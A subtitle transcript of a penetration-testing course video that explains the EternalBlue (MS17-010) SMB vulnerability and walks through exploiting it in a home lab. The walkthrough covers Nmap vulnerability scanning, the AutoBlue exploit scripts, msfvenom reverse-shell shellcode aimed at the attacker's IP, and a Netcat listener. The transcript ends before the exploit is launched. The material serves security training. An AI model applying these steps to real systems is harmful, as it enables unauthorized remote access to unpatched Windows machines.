WEBVTT

00:00:00.000 --> 00:00:10.260 align:middle line:90%


00:00:10.260 --> 00:00:16.290 align:middle line:84%
Exploiting the Windows MS17-010
SMB vulnerability, also known

00:00:16.290 --> 00:00:17.940 align:middle line:90%
as EternalBlue.

00:00:17.940 --> 00:00:20.010 align:middle line:84%
Now that we've got an
understanding of how

00:00:20.010 --> 00:00:26.310 align:middle line:84%
to exploit SMB through the
use of PsExec and of course,

00:00:26.310 --> 00:00:28.950 align:middle line:84%
the actual technique of
performing a brute force

00:00:28.950 --> 00:00:33.150 align:middle line:84%
on the SMB protocol,
let's begin exploring

00:00:33.150 --> 00:00:36.240 align:middle line:84%
an inherent vulnerability
within SMB that

00:00:36.240 --> 00:00:38.430 align:middle line:84%
can allow us to
essentially obtain

00:00:38.430 --> 00:00:40.600 align:middle line:90%
access on a Windows target.

00:00:40.600 --> 00:00:41.100 align:middle line:90%
All right.

00:00:41.100 --> 00:00:46.590 align:middle line:84%
So first and foremost, what
is EternalBlue or the MS17-010

00:00:46.590 --> 00:00:47.280 align:middle line:90%
vulnerability?

00:00:47.280 --> 00:00:51.660 align:middle line:84%
Well, this is the name given
to a collection of Windows

00:00:51.660 --> 00:00:54.780 align:middle line:84%
vulnerabilities and exploits
that allow attackers

00:00:54.780 --> 00:00:57.930 align:middle line:84%
to remotely execute
arbitrary code and gain

00:00:57.930 --> 00:01:00.390 align:middle line:84%
access to a Windows
system and consequently

00:01:00.390 --> 00:01:03.580 align:middle line:84%
the network that the
target system is a part of.

00:01:03.580 --> 00:01:04.080 align:middle line:90%
All right.

00:01:04.080 --> 00:01:06.420 align:middle line:84%
So the EternalBlue
exploit was developed

00:01:06.420 --> 00:01:09.360 align:middle line:84%
by the NSA, which is
the National Security

00:01:09.360 --> 00:01:14.040 align:middle line:84%
Agency, to take advantage of
the MS17-010 vulnerability

00:01:14.040 --> 00:01:17.220 align:middle line:84%
and was leaked to the public
by a hacker group called

00:01:17.220 --> 00:01:19.920 align:middle line:90%
the Shadow Brokers in 2017.

00:01:19.920 --> 00:01:22.350 align:middle line:84%
The EternalBlue
exploit takes advantage

00:01:22.350 --> 00:01:25.740 align:middle line:84%
of a vulnerability in
the Windows SMB version 1

00:01:25.740 --> 00:01:29.730 align:middle line:84%
protocol that allows
attackers to send specially

00:01:29.730 --> 00:01:34.260 align:middle line:84%
or specifically crafted packets
that consequently facilitate

00:01:34.260 --> 00:01:36.390 align:middle line:84%
the execution of
arbitrary commands.

00:01:36.390 --> 00:01:38.580 align:middle line:84%
And in addition to
that, it can also

00:01:38.580 --> 00:01:42.670 align:middle line:84%
provide you with a reverse
shell or a Meterpreter session.

00:01:42.670 --> 00:01:43.170 align:middle line:90%
All right.

00:01:43.170 --> 00:01:45.480 align:middle line:84%
So if you're not familiar
with this vulnerability,

00:01:45.480 --> 00:01:49.590 align:middle line:84%
this is pretty much one of the
biggest Windows vulnerabilities

00:01:49.590 --> 00:01:54.150 align:middle line:84%
over the last 10 or 15 years,
primarily because of the fact

00:01:54.150 --> 00:01:59.250 align:middle line:84%
that SMB is pretty much runs
on most Windows systems.

00:01:59.250 --> 00:02:01.560 align:middle line:84%
And secondly, this
particular exploit

00:02:01.560 --> 00:02:04.920 align:middle line:84%
will not only provide you with
access to the target system

00:02:04.920 --> 00:02:07.590 align:middle line:84%
but also provides you
with also actually

00:02:07.590 --> 00:02:10.570 align:middle line:84%
provides you elevated
access on the target system.

00:02:10.570 --> 00:02:13.350 align:middle line:84%
So you don't need to
perform privilege escalation

00:02:13.350 --> 00:02:16.120 align:middle line:84%
as you will obtain
elevated privileges.

00:02:16.120 --> 00:02:16.620 align:middle line:90%
All right.

00:02:16.620 --> 00:02:21.390 align:middle line:84%
So let's get a better idea
of what this vulnerability is

00:02:21.390 --> 00:02:24.840 align:middle line:84%
in regards to how it's been used
and what systems are actually

00:02:24.840 --> 00:02:27.010 align:middle line:84%
vulnerable to this
particular exploit.

00:02:27.010 --> 00:02:27.510 align:middle line:90%
All right.

00:02:27.510 --> 00:02:31.050 align:middle line:84%
So the EternalBlue exploit was
used in the WannaCry ransomware

00:02:31.050 --> 00:02:36.060 align:middle line:84%
attack on June the 27th,
2017, to exploit other Windows

00:02:36.060 --> 00:02:38.880 align:middle line:84%
systems across networks with
the objective of spreading

00:02:38.880 --> 00:02:42.130 align:middle line:84%
ransomware to as many
systems as possible.

00:02:42.130 --> 00:02:46.095 align:middle line:84%
So this particular vulnerability
or this particular exploit

00:02:46.095 --> 00:02:49.470 align:middle line:84%
is so powerful
because it essentially

00:02:49.470 --> 00:02:52.860 align:middle line:84%
allows you to exploit
Windows systems very easily,

00:02:52.860 --> 00:02:56.310 align:middle line:84%
and it was used by the
WannaCry ransomware group

00:02:56.310 --> 00:02:58.740 align:middle line:84%
to essentially
spread the ransomware

00:02:58.740 --> 00:03:01.270 align:middle line:84%
across multiple
computers on a network.

00:03:01.270 --> 00:03:05.160 align:middle line:84%
So an example of this would
be if one system on a network

00:03:05.160 --> 00:03:08.280 align:middle line:84%
was infected with
WannaCry, WannaCry

00:03:08.280 --> 00:03:11.100 align:middle line:84%
was essentially paired with
the EternalBlue exploit.

00:03:11.100 --> 00:03:14.880 align:middle line:84%
And the EternalBlue exploit
would then scan and identify

00:03:14.880 --> 00:03:16.680 align:middle line:84%
other Windows systems
on the network

00:03:16.680 --> 00:03:19.650 align:middle line:84%
and would then exploit
those systems, gain access,

00:03:19.650 --> 00:03:23.070 align:middle line:84%
and then execute the
ransomware, therefore,

00:03:23.070 --> 00:03:26.320 align:middle line:84%
spreading and infecting as
many systems as possible.

00:03:26.320 --> 00:03:28.770 align:middle line:84%
Now, this vulnerability
affects multiple versions

00:03:28.770 --> 00:03:31.380 align:middle line:84%
of Windows, which is another
reason why you should actually

00:03:31.380 --> 00:03:32.320 align:middle line:90%
know about it.

00:03:32.320 --> 00:03:35.940 align:middle line:84%
So it affects Windows Vista,
Windows 7, Windows Server 2008,

00:03:35.940 --> 00:03:39.540 align:middle line:84%
Windows 8.1, Windows
Server 2012, Windows 10,

00:03:39.540 --> 00:03:42.450 align:middle line:84%
a specific build or
version of Windows 10,

00:03:42.450 --> 00:03:44.400 align:middle line:90%
and Windows Server 2016.

00:03:44.400 --> 00:03:48.150 align:middle line:84%
And of course, with the latest
or newer version of Windows,

00:03:48.150 --> 00:03:50.610 align:middle line:84%
it actually affects only
a specific build number.

00:03:50.610 --> 00:03:53.640 align:middle line:84%
But this particular
vulnerability or exploit

00:03:53.640 --> 00:03:58.110 align:middle line:84%
is specifically effective
against Windows 7

00:03:58.110 --> 00:04:00.085 align:middle line:90%
to Windows Server 2012.

00:04:00.085 --> 00:04:01.710 align:middle line:84%
All right, and of
course, that includes

00:04:01.710 --> 00:04:05.520 align:middle line:84%
Windows 7, Windows
Server 2008, Windows 8.1,

00:04:05.520 --> 00:04:07.050 align:middle line:90%
Windows Server 2012.

00:04:07.050 --> 00:04:09.990 align:middle line:84%
And of course, it affects
both architectures,

00:04:09.990 --> 00:04:12.130 align:middle line:90%
both 32-bit and 64-bit.

00:04:12.130 --> 00:04:12.630 align:middle line:90%
All right.

00:04:12.630 --> 00:04:14.940 align:middle line:90%
So it's extremely powerful.

00:04:14.940 --> 00:04:18.390 align:middle line:84%
Now, as for the
actual vulnerability

00:04:18.390 --> 00:04:22.170 align:middle line:84%
and how we can
exploit it, Microsoft

00:04:22.170 --> 00:04:25.290 align:middle line:84%
released a patch for the
vulnerability in March 2017.

00:04:25.290 --> 00:04:27.013 align:middle line:84%
However, many
users and companies

00:04:27.013 --> 00:04:28.680 align:middle line:84%
have still not yet
patched their systems

00:04:28.680 --> 00:04:31.680 align:middle line:84%
or are still using older
versions of Windows

00:04:31.680 --> 00:04:33.300 align:middle line:90%
that might still be vulnerable.

00:04:33.300 --> 00:04:35.370 align:middle line:84%
And of course, the
only reason why

00:04:35.370 --> 00:04:37.140 align:middle line:84%
I'm covering this
particular exploit

00:04:37.140 --> 00:04:39.690 align:middle line:84%
is because it still is
viable, and you can actually

00:04:39.690 --> 00:04:42.540 align:middle line:84%
perform a showdown
search and identify

00:04:42.540 --> 00:04:44.790 align:middle line:84%
how many systems
worldwide are still

00:04:44.790 --> 00:04:46.470 align:middle line:84%
vulnerable to this
particular exploit.

00:04:46.470 --> 00:04:49.740 align:middle line:84%
And you will still find that you
have thousands, if not hundreds

00:04:49.740 --> 00:04:52.920 align:middle line:84%
of thousands, of computers
that can still be exploited.

00:04:52.920 --> 00:04:56.010 align:middle line:84%
Now, the EternalBlue exploit
has a Metasploit framework

00:04:56.010 --> 00:04:57.600 align:middle line:84%
auxiliary module
that can be used

00:04:57.600 --> 00:05:00.870 align:middle line:84%
to check if the target system
is vulnerable to the exploit

00:05:00.870 --> 00:05:02.993 align:middle line:84%
and also has an
exploit module that

00:05:02.993 --> 00:05:04.660 align:middle line:84%
can be used to exploit
the vulnerability

00:05:04.660 --> 00:05:06.550 align:middle line:90%
on unpatched systems.

00:05:06.550 --> 00:05:08.380 align:middle line:84%
The EternalBlue
exploit module can

00:05:08.380 --> 00:05:10.660 align:middle line:84%
be used to exploit
vulnerable Windows systems

00:05:10.660 --> 00:05:13.420 align:middle line:84%
and consequently provide us
with a privileged Meterpreter

00:05:13.420 --> 00:05:15.560 align:middle line:90%
session on the target system.

00:05:15.560 --> 00:05:16.060 align:middle line:90%
All right.

00:05:16.060 --> 00:05:18.820 align:middle line:84%
So if you want to automate
the exploitation process,

00:05:18.820 --> 00:05:20.590 align:middle line:84%
you can use the
Metasploit framework,

00:05:20.590 --> 00:05:22.960 align:middle line:84%
and of course, I'll
be demonstrating this.

00:05:22.960 --> 00:05:25.870 align:middle line:84%
In addition to that, you can
also exploit this vulnerability

00:05:25.870 --> 00:05:26.680 align:middle line:90%
manually.

00:05:26.680 --> 00:05:30.970 align:middle line:84%
And I'll be taking you through
a very, very cool tool that

00:05:30.970 --> 00:05:33.580 align:middle line:84%
will essentially allow you
to exploit this vulnerability

00:05:33.580 --> 00:05:35.830 align:middle line:90%
without using Metasploit.

00:05:35.830 --> 00:05:36.880 align:middle line:90%
All right.

00:05:36.880 --> 00:05:38.680 align:middle line:84%
As for the tools
and the environment

00:05:38.680 --> 00:05:41.120 align:middle line:84%
that we'll be using
within this video,

00:05:41.120 --> 00:05:44.770 align:middle line:84%
we'll be using a tool
called AutoBlue MS17-010.

00:05:44.770 --> 00:05:47.470 align:middle line:84%
That is the exploit
code or a collection

00:05:47.470 --> 00:05:49.240 align:middle line:84%
of scripts that will
allow you to exploit

00:05:49.240 --> 00:05:50.860 align:middle line:90%
the vulnerability manually.

00:05:50.860 --> 00:05:55.040 align:middle line:84%
And the target system, in
my case, that I'll be using

00:05:55.040 --> 00:05:59.890 align:middle line:84%
is a system or a virtual machine
running Windows Server 2008 R2.

00:05:59.890 --> 00:06:02.200 align:middle line:84%
And the penetration
testing distribution

00:06:02.200 --> 00:06:04.270 align:middle line:84%
that I'm going to be using
is the latest version

00:06:04.270 --> 00:06:07.220 align:middle line:84%
of Kali Linux as of
recording this video.

00:06:07.220 --> 00:06:09.430 align:middle line:84%
So again, in this
video, you will not

00:06:09.430 --> 00:06:11.180 align:middle line:90%
have a lab environment.

00:06:11.180 --> 00:06:14.200 align:middle line:84%
And I'm essentially
going to be demonstrating

00:06:14.200 --> 00:06:19.040 align:middle line:84%
the actual exploitation
process within my own home lab.

00:06:19.040 --> 00:06:21.190 align:middle line:84%
So again, you can follow
along with the techniques

00:06:21.190 --> 00:06:22.960 align:middle line:90%
within your own home lab.

00:06:22.960 --> 00:06:27.760 align:middle line:84%
And of course, you can test this
on Windows Server 2008, Windows

00:06:27.760 --> 00:06:29.480 align:middle line:90%
7, et cetera.

00:06:29.480 --> 00:06:29.980 align:middle line:90%
All right.

00:06:29.980 --> 00:06:32.950 align:middle line:84%
So I'm just going to switch
over to my Kali Linux system,

00:06:32.950 --> 00:06:35.440 align:middle line:90%
and we can begin.

00:06:35.440 --> 00:06:35.940 align:middle line:90%
All right.

00:06:35.940 --> 00:06:39.750 align:middle line:84%
So I'm back within my Kali
Linux virtual machine,

00:06:39.750 --> 00:06:42.750 align:middle line:84%
and I've already set up
the target virtual machine

00:06:42.750 --> 00:06:45.030 align:middle line:90%
and already have the target IP.

00:06:45.030 --> 00:06:47.670 align:middle line:84%
So the first step,
of course, will

00:06:47.670 --> 00:06:49.980 align:middle line:84%
involve performing a
port scan with Nmap

00:06:49.980 --> 00:06:53.430 align:middle line:84%
to identify the open
ports and services that

00:06:53.430 --> 00:06:55.225 align:middle line:90%
are running on the target.

00:06:55.225 --> 00:06:56.850 align:middle line:84%
However, in this
case, we are primarily

00:06:56.850 --> 00:07:00.420 align:middle line:84%
focused on the SMB port
or the SMB service.

00:07:00.420 --> 00:07:03.690 align:middle line:84%
So we can say sudo
nmap, and I'm going

00:07:03.690 --> 00:07:07.380 align:middle line:84%
to perform a service version
detection scan on port 445

00:07:07.380 --> 00:07:08.440 align:middle line:90%
on the target.

00:07:08.440 --> 00:07:11.550 align:middle line:84%
And in order to identify
the operating system,

00:07:11.550 --> 00:07:15.060 align:middle line:84%
or if we wanted to, we
can use the O option here.

00:07:15.060 --> 00:07:17.220 align:middle line:84%
That will, of course,
confirm that this is

00:07:17.220 --> 00:07:19.830 align:middle line:90%
running Windows Server 2008 R2.

00:07:19.830 --> 00:07:21.960 align:middle line:84%
And then, we can
specify the target IP.

00:07:21.960 --> 00:07:27.160 align:middle line:84%
On my network or on my home lab,
the target IP is 10.10.10.12.

00:07:27.160 --> 00:07:27.660 align:middle line:90%
All right.

00:07:27.660 --> 00:07:30.780 align:middle line:84%
So I'll hit Enter, and
I'll provide my password

00:07:30.780 --> 00:07:32.460 align:middle line:90%
for my user account here.

00:07:32.460 --> 00:07:34.500 align:middle line:84%
And I'll let that
begin the scan.

00:07:34.500 --> 00:07:36.930 align:middle line:84%
So I'm going to give
this a couple of seconds

00:07:36.930 --> 00:07:39.550 align:middle line:84%
to a couple of
minutes to complete.

00:07:39.550 --> 00:07:40.050 align:middle line:90%
All right.

00:07:40.050 --> 00:07:41.620 align:middle line:90%
The Nmap scan is complete.

00:07:41.620 --> 00:07:43.440 align:middle line:84%
And as you can
see, we do have SMB

00:07:43.440 --> 00:07:46.050 align:middle line:84%
running on the
target on port 445,

00:07:46.050 --> 00:07:49.410 align:middle line:84%
and the version tells us that
it's either Microsoft Windows

00:07:49.410 --> 00:07:51.810 align:middle line:90%
Server 2008 or 2012.

00:07:51.810 --> 00:07:53.880 align:middle line:84%
But as I said, in
this case, we already

00:07:53.880 --> 00:07:57.330 align:middle line:84%
know that it's Windows
Server 2008 R2.

00:07:57.330 --> 00:08:01.230 align:middle line:84%
In order to detect or identify
whether this particular target

00:08:01.230 --> 00:08:03.690 align:middle line:84%
is vulnerable to the
EternalBlue exploit,

00:08:03.690 --> 00:08:05.970 align:middle line:84%
we can also utilize
an Nmap script that

00:08:05.970 --> 00:08:07.570 align:middle line:90%
will perform the check for us.

00:08:07.570 --> 00:08:11.310 align:middle line:84%
So in order to use it, we're
going to say sudo nmap -sV,

00:08:11.310 --> 00:08:14.631 align:middle line:84%
for service version
detection, port 445.

00:08:14.631 --> 00:08:16.950 align:middle line:84%
And then we can say
we want to use script,

00:08:16.950 --> 00:08:22.620 align:middle line:84%
and the script name is going
to be smb-vulnerability.

00:08:22.620 --> 00:08:25.200 align:middle line:84%
And this is one of the great
things with Nmap scripts,

00:08:25.200 --> 00:08:29.700 align:middle line:84%
and the vulnerability
is MS17-010.

00:08:29.700 --> 00:08:31.860 align:middle line:84%
And then, we can
specify the target IP.

00:08:31.860 --> 00:08:35.020 align:middle line:84%
In my case, the target
IP is 10.10.10.12.

00:08:35.020 --> 00:08:35.520 align:middle line:90%
All right.

00:08:35.520 --> 00:08:36.330 align:middle line:90%
So I'll hit Enter.

00:08:36.330 --> 00:08:39.570 align:middle line:84%
And of course, I'll give
this a couple of seconds.

00:08:39.570 --> 00:08:40.070 align:middle line:90%
All right.

00:08:40.070 --> 00:08:44.150 align:middle line:84%
So as you can see here,
the script results actually

00:08:44.150 --> 00:08:45.380 align:middle line:90%
tell us what we need to know.

00:08:45.380 --> 00:08:47.420 align:middle line:84%
So it tells us that
this particular system

00:08:47.420 --> 00:08:52.640 align:middle line:84%
is vulnerable to the MS17-010
vulnerability or exploit

00:08:52.640 --> 00:08:54.680 align:middle line:84%
or rather the
EternalBlue exploit.

00:08:54.680 --> 00:08:58.040 align:middle line:84%
And again, as I said
during the slides,

00:08:58.040 --> 00:09:00.500 align:middle line:84%
this exploit will only work
on systems that are currently

00:09:00.500 --> 00:09:02.120 align:middle line:90%
running SMB version 1.

00:09:02.120 --> 00:09:03.620 align:middle line:84%
So you can see it's
going to tell us

00:09:03.620 --> 00:09:05.210 align:middle line:84%
right over here
remote code execution

00:09:05.210 --> 00:09:08.870 align:middle line:84%
vulnerability in Microsoft
SMB version 1 servers.

00:09:08.870 --> 00:09:11.390 align:middle line:84%
And it'll tell us that
the state is vulnerable.

00:09:11.390 --> 00:09:13.100 align:middle line:84%
So this target
system is vulnerable

00:09:13.100 --> 00:09:14.450 align:middle line:90%
to this particular exploit.

00:09:14.450 --> 00:09:18.140 align:middle line:84%
It then provides you with the
CVE code and the risk factor.

00:09:18.140 --> 00:09:20.510 align:middle line:84%
And of course, it'll
provide you with links

00:09:20.510 --> 00:09:22.670 align:middle line:84%
here as for the
actual references,

00:09:22.670 --> 00:09:24.710 align:middle line:84%
and you can learn more
about this vulnerability

00:09:24.710 --> 00:09:26.340 align:middle line:90%
by clicking on these links.

00:09:26.340 --> 00:09:26.840 align:middle line:90%
All right.

00:09:26.840 --> 00:09:29.750 align:middle line:84%
So we know that SMB is
currently enabled and running

00:09:29.750 --> 00:09:31.140 align:middle line:90%
on the target system.

00:09:31.140 --> 00:09:34.370 align:middle line:84%
And we know that this system is
vulnerable to the EternalBlue

00:09:34.370 --> 00:09:35.180 align:middle line:90%
exploit.

00:09:35.180 --> 00:09:36.330 align:middle line:90%
What's the next step?

00:09:36.330 --> 00:09:39.320 align:middle line:84%
Well, we are going to start
off by performing the exploit

00:09:39.320 --> 00:09:41.270 align:middle line:90%
manually without Metasploit.

00:09:41.270 --> 00:09:44.090 align:middle line:84%
And then, we'll move on to
performing it automatically

00:09:44.090 --> 00:09:45.170 align:middle line:90%
with Metasploit.

00:09:45.170 --> 00:09:46.250 align:middle line:90%
All right.

00:09:46.250 --> 00:09:48.710 align:middle line:84%
In order to get started with
the manual exploitation,

00:09:48.710 --> 00:09:50.930 align:middle line:84%
as I said during
the slides, we are

00:09:50.930 --> 00:09:54.950 align:middle line:84%
going to be utilizing a tool
called AutoBlue MS17-010,

00:09:54.950 --> 00:09:58.040 align:middle line:84%
and the GitHub repository
is linked within the slides.

00:09:58.040 --> 00:10:00.590 align:middle line:90%
So using this is fairly simple.

00:10:00.590 --> 00:10:03.570 align:middle line:84%
It provides you with a
fantastic documentation

00:10:03.570 --> 00:10:06.110 align:middle line:84%
as to how you can use this,
and I'll be taking you

00:10:06.110 --> 00:10:07.710 align:middle line:90%
through this process right now.

00:10:07.710 --> 00:10:08.210 align:middle line:90%
All right.

00:10:08.210 --> 00:10:10.910 align:middle line:84%
So what you want to do is
just clone the repository.

00:10:10.910 --> 00:10:13.680 align:middle line:84%
I've already cloned
it right over here.

00:10:13.680 --> 00:10:16.610 align:middle line:84%
And if you can let me print out
my current working directory,

00:10:16.610 --> 00:10:19.550 align:middle line:84%
you can see I'm currently
within my desktop here.

00:10:19.550 --> 00:10:21.980 align:middle line:84%
And I've created a folder
called EternalBlue,

00:10:21.980 --> 00:10:24.830 align:middle line:84%
and I've cloned that repository,
and you can see it here.

00:10:24.830 --> 00:10:26.820 align:middle line:84%
And I'm currently
within that repository.

00:10:26.820 --> 00:10:29.540 align:middle line:84%
So if I list out the files
within this directory,

00:10:29.540 --> 00:10:31.850 align:middle line:84%
you can see you
have the exploit--

00:10:31.850 --> 00:10:35.420 align:middle line:84%
the Python exploit files for
various versions of Windows,

00:10:35.420 --> 00:10:38.630 align:middle line:84%
so Windows 7 and
Windows Server 2008.

00:10:38.630 --> 00:10:41.960 align:middle line:84%
You then have Windows
8.1, or 8 and 8.1,

00:10:41.960 --> 00:10:45.630 align:middle line:84%
and then EternalBlue
for Windows 10.

00:10:45.630 --> 00:10:46.130 align:middle line:90%
All right.

00:10:46.130 --> 00:10:48.260 align:middle line:84%
And then, of course,
we have a list

00:10:48.260 --> 00:10:53.000 align:middle line:84%
of requirements.txt, file
which is essentially very

00:10:53.000 --> 00:10:56.780 align:middle line:84%
useful in terms of getting
all the dependencies installed

00:10:56.780 --> 00:10:59.720 align:middle line:84%
because you'll need to install
a few Python dependencies.

00:10:59.720 --> 00:11:01.710 align:middle line:90%
So let me just zoom in here.

00:11:01.710 --> 00:11:05.150 align:middle line:84%
You can see that this is
some no-bs public exploit

00:11:05.150 --> 00:11:08.240 align:middle line:84%
code that generates valid
shellcode for the EternalBlue

00:11:08.240 --> 00:11:09.890 align:middle line:84%
exploit and scripts
out the event

00:11:09.890 --> 00:11:12.350 align:middle line:84%
listener with a
Metasploit multi-handler.

00:11:12.350 --> 00:11:15.200 align:middle line:84%
We will be skipping this
particular step here.

00:11:15.200 --> 00:11:17.780 align:middle line:84%
And this version of the
exploit is prepared in a way

00:11:17.780 --> 00:11:20.460 align:middle line:84%
where you can exploit
EternalBlue without Metasploit.

00:11:20.460 --> 00:11:20.960 align:middle line:90%
All right.

00:11:20.960 --> 00:11:23.010 align:middle line:90%
So using it is fairly simple.

00:11:23.010 --> 00:11:25.280 align:middle line:84%
The first step, as it
says right over here,

00:11:25.280 --> 00:11:28.520 align:middle line:84%
is to install the requirements,
and you can install them.

00:11:28.520 --> 00:11:31.190 align:middle line:84%
If you're running Python2,
you can use the pip command

00:11:31.190 --> 00:11:33.650 align:middle line:84%
and say pip install
-r requirements.

00:11:33.650 --> 00:11:36.080 align:middle line:84%
If you're using Python3,
which are most of you

00:11:36.080 --> 00:11:38.390 align:middle line:84%
are going to be using if
you're using one of the latest

00:11:38.390 --> 00:11:39.980 align:middle line:90%
versions of Kali--

00:11:39.980 --> 00:11:41.780 align:middle line:84%
in that case, you
can see-- you can say

00:11:41.780 --> 00:11:44.060 align:middle line:90%
pip install -r requirements.

00:11:44.060 --> 00:11:47.870 align:middle line:84%
And you can then begin
with the actual--

00:11:47.870 --> 00:11:50.780 align:middle line:84%
with the actual shellcode
generation process.

00:11:50.780 --> 00:11:53.600 align:middle line:84%
So for this exploit
to work, you will

00:11:53.600 --> 00:11:56.420 align:middle line:84%
need to generate a
shellcode that will be

00:11:56.420 --> 00:11:58.190 align:middle line:90%
exploited on the target system.

00:11:58.190 --> 00:12:00.420 align:middle line:84%
And then, of course,
once that is generated,

00:12:00.420 --> 00:12:04.400 align:middle line:84%
we can set up our listener
and then run the actual Python

00:12:04.400 --> 00:12:06.390 align:middle line:90%
exploit script.

00:12:06.390 --> 00:12:08.690 align:middle line:84%
In this case, we're going
to be using this one here.

00:12:08.690 --> 00:12:11.120 align:middle line:84%
Specify the target
IP and the shellcode

00:12:11.120 --> 00:12:13.070 align:middle line:84%
that we would like
to exploit or that we

00:12:13.070 --> 00:12:15.170 align:middle line:84%
would like to run on
the target, and we

00:12:15.170 --> 00:12:18.540 align:middle line:84%
should get a reverse shell
back on our Netcat listener.

00:12:18.540 --> 00:12:19.040 align:middle line:90%
All right.

00:12:19.040 --> 00:12:21.140 align:middle line:84%
So the first step
will essentially

00:12:21.140 --> 00:12:22.580 align:middle line:84%
involve generating
the shellcode.

00:12:22.580 --> 00:12:25.100 align:middle line:84%
So we'll navigate into
the Shellcode directory.

00:12:25.100 --> 00:12:27.500 align:middle line:90%
So I'll say cd shellcode.

00:12:27.500 --> 00:12:30.590 align:middle line:84%
And within this directory,
we have a Python script,

00:12:30.590 --> 00:12:34.130 align:middle line:84%
or rather, a Bash script
called shell_prep.sh.

00:12:34.130 --> 00:12:36.650 align:middle line:84%
I'm just going to provide it
with executable permissions,

00:12:36.650 --> 00:12:43.440 align:middle line:84%
so chmod +x shell_prep.sh,
and we can now execute it.

00:12:43.440 --> 00:12:46.460 align:middle line:84%
So I'm going to
say shell_prep.sh.

00:12:46.460 --> 00:12:49.580 align:middle line:84%
It's going to tell you, let's
compile the Windows shellcode.

00:12:49.580 --> 00:12:54.210 align:middle line:84%
And it'll compile it for
both x64 and x86 kernels.

00:12:54.210 --> 00:12:56.270 align:middle line:84%
So it'll tell you
right over here,

00:12:56.270 --> 00:12:57.620 align:middle line:90%
kernel shellcode compiled.

00:12:57.620 --> 00:13:01.940 align:middle line:84%
Would you like to auto-generate
a reverse shell with msfvenom?

00:13:01.940 --> 00:13:03.590 align:middle line:84%
We can say yes,
and the reason I'm

00:13:03.590 --> 00:13:05.390 align:middle line:84%
saying that is
because we are just

00:13:05.390 --> 00:13:08.450 align:middle line:84%
going to be utilizing
a simple command shell,

00:13:08.450 --> 00:13:10.920 align:middle line:84%
a non-staged command
shell payload.

00:13:10.920 --> 00:13:11.420 align:middle line:90%
All right.

00:13:11.420 --> 00:13:14.450 align:middle line:84%
So I'm going to say
yes and hit Enter,

00:13:14.450 --> 00:13:16.590 align:middle line:84%
and it's going to ask
us for our IP address.

00:13:16.590 --> 00:13:19.160 align:middle line:84%
So this is going to be your Kali
Linux or penetration testing

00:13:19.160 --> 00:13:20.450 align:middle line:90%
distribution IP.

00:13:20.450 --> 00:13:23.990 align:middle line:84%
And in order to find this, I
can open up a new tab here,

00:13:23.990 --> 00:13:27.410 align:middle line:90%
and I will just say ifconfig.

00:13:27.410 --> 00:13:29.870 align:middle line:84%
And in my case, it
is on Ethernet 1,

00:13:29.870 --> 00:13:32.960 align:middle line:84%
and this is my current IP
address or the IP address

00:13:32.960 --> 00:13:34.640 align:middle line:90%
of the Kali Linux VM.

00:13:34.640 --> 00:13:38.810 align:middle line:84%
So I will type that in
there, so 10.10.10.10.

00:13:38.810 --> 00:13:41.270 align:middle line:84%
And then the LPORT option--
so this is the port

00:13:41.270 --> 00:13:43.560 align:middle line:84%
that you want to listen
on for the connection

00:13:43.560 --> 00:13:46.190 align:middle line:84%
once the payload is
executed on the target.

00:13:46.190 --> 00:13:48.530 align:middle line:84%
In this case, I'll
just use port 1234

00:13:48.530 --> 00:13:50.360 align:middle line:90%
to keep things nice and simple.

00:13:50.360 --> 00:13:52.430 align:middle line:84%
And I'll also
specify the same port

00:13:52.430 --> 00:13:57.200 align:middle line:90%
for the x86 payload, so 1234.

00:13:57.200 --> 00:13:59.540 align:middle line:84%
And now, it'll
tell me or give me

00:13:59.540 --> 00:14:02.030 align:middle line:84%
the ability to generate
a Meterpreter shell

00:14:02.030 --> 00:14:03.710 align:middle line:90%
or a regular command shell.

00:14:03.710 --> 00:14:07.640 align:middle line:84%
I'm going to specify option 1
to generate a regular command

00:14:07.640 --> 00:14:08.540 align:middle line:90%
shell.

00:14:08.540 --> 00:14:10.610 align:middle line:84%
It'll then tell us
type 0 to generate

00:14:10.610 --> 00:14:13.850 align:middle line:84%
a staged payload or 1 to
generate a stageless payload.

00:14:13.850 --> 00:14:16.280 align:middle line:84%
We are going to be generating
a stageless payload.

00:14:16.280 --> 00:14:18.110 align:middle line:84%
Of course, you
can customize this

00:14:18.110 --> 00:14:21.120 align:middle line:84%
based on the target environment
that you're working on.

00:14:21.120 --> 00:14:23.720 align:middle line:84%
So there we are generate
a stageless payload.

00:14:23.720 --> 00:14:27.200 align:middle line:84%
It's then going to say
generating the x64 CMD

00:14:27.200 --> 00:14:28.400 align:middle line:90%
shell, which is stageless.

00:14:28.400 --> 00:14:31.580 align:middle line:84%
And then it types out
or automatically creates

00:14:31.580 --> 00:14:33.980 align:middle line:90%
the msfvenom command for you.

00:14:33.980 --> 00:14:37.380 align:middle line:84%
And we'll give this a couple
of seconds to generate

00:14:37.380 --> 00:14:39.080 align:middle line:90%
both pieces of shellcode.

00:14:39.080 --> 00:14:41.060 align:middle line:84%
So if you take a look
at the arguments here,

00:14:41.060 --> 00:14:45.350 align:middle line:84%
the payload that we're using is
windows/x64/shell_reverse_tcp.

00:14:45.350 --> 00:14:48.290 align:middle line:84%
And this is being
output into a raw format

00:14:48.290 --> 00:14:50.330 align:middle line:84%
and being output
into a bin file.

00:14:50.330 --> 00:14:52.600 align:middle line:84%
So that is essentially
the shellcode there.

00:14:52.600 --> 00:14:55.760 align:middle line:84%
So do remember this particular
file right over here.

00:14:55.760 --> 00:14:58.700 align:middle line:84%
And of course, we're not
going to be utilizing the MSF

00:14:58.700 --> 00:15:00.218 align:middle line:90%
shellcode.

00:15:00.218 --> 00:15:01.760 align:middle line:84%
You can see that
it's currently done.

00:15:01.760 --> 00:15:03.710 align:middle line:84%
The shellcode that we
are going to be using,

00:15:03.710 --> 00:15:06.560 align:middle line:84%
if we list all the contents
of the shellcode directory,

00:15:06.560 --> 00:15:09.290 align:middle line:84%
is going to be this
particular shellcode here.

00:15:09.290 --> 00:15:15.110 align:middle line:84%
So we can either use the x64
shellcode or the x86 shellcode.

00:15:15.110 --> 00:15:17.670 align:middle line:90%
And again, based on the target--

00:15:17.670 --> 00:15:20.340 align:middle line:84%
on the target operating
system architecture.

00:15:20.340 --> 00:15:20.840 align:middle line:90%
All right.

00:15:20.840 --> 00:15:25.010 align:middle line:84%
So now that is done, we can
set up our Netcat listener.

00:15:25.010 --> 00:15:29.120 align:middle line:84%
And I'm going to say
Netcat -nvlp 1234.

00:15:29.120 --> 00:15:31.520 align:middle line:84%
So remember to specify
the port you had specified

00:15:31.520 --> 00:15:33.170 align:middle line:90%
when generating the shellcode.

00:15:33.170 --> 00:15:34.700 align:middle line:90%
